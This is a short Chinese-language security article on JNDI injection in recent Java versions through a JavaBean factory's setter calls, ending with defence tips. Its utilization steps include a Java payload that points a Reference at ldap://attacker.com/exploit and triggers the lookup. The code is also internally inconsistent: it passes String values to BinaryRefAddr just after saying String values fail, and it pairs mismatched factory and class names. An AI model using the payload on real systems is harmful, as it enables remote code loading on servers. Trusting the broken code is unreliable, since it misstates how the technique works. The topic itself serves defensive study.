高版本 jndi 调用 setter 方法拓展攻击面
字数 881 2025-08-22 12:23:36
高版本JNDI利用:通过setter方法拓展攻击面
背景概述
在Java高版本环境中,传统的JNDI注入利用方式(如直接加载远程恶意类)已被限制。本文介绍一种通过调用setter方法拓展攻击面的技术,利用JavaBeanObjectFactory工厂类的getObjectInstance方法实现攻击。
核心原理
JavaBeanObjectFactory是JNDI SPI(Service Provider Interface)的一部分,其getObjectInstance方法可以调用目标类的setter方法。这种机制为攻击者提供了新的攻击面。
技术细节
关键限制条件
- setter方法调用顺序固定:无法自定义调用顺序,这导致某些利用链(如
JdbcRowSetImpl)失效 - 构造函数要求:目标类的构造函数必须是public的
- 参数类型限制:传入的ref属性不能是String类型,需要使用
BinaryRefAddr
成功利用的类
JtaTransactionConfig类被证实可以利用,因为它:
- 具有public构造函数
- 包含可利用的setter方法
- 能够通过特定参数触发恶意行为
利用步骤
-
构造恶意Reference:
- 使用
JavaBeanObjectFactory作为工厂类 - 设置目标类为可利用的类(如
JtaTransactionConfig) - 使用
BinaryRefAddr而非String传递参数
- 使用
-
配置攻击载荷:
Reference ref = new Reference("javax.transaction.xa.Xid", "com.sun.jndi.ldap.JavaBeanObjectFactory", "http://attacker.com/"); ref.add(new BinaryRefAddr("forceString", "a=setXaDataSource")); ref.add(new BinaryRefAddr("a", "ldap://attacker.com/exploit")); -
触发JNDI查找:
Context ctx = new InitialContext(); ctx.lookup("ldap://victim-server/malicious");
绕过高版本限制
通过JNDI调用JNDI的方式可以绕过部分高版本限制:
- 第一次JNDI查找返回一个Reference
- 该Reference触发第二次JNDI查找
- 第二次查找可能不受相同限制
防御建议
- 升级JDK到最新版本
- 限制JNDI查找的来源
- 实施网络层防护,限制出站连接
- 使用安全管理器限制敏感操作
总结
这种技术通过利用JavaBean的setter方法调用机制,在高版本Java环境中拓展了JNDI注入的攻击面。安全团队应了解这种技术以更好地防御相关攻击。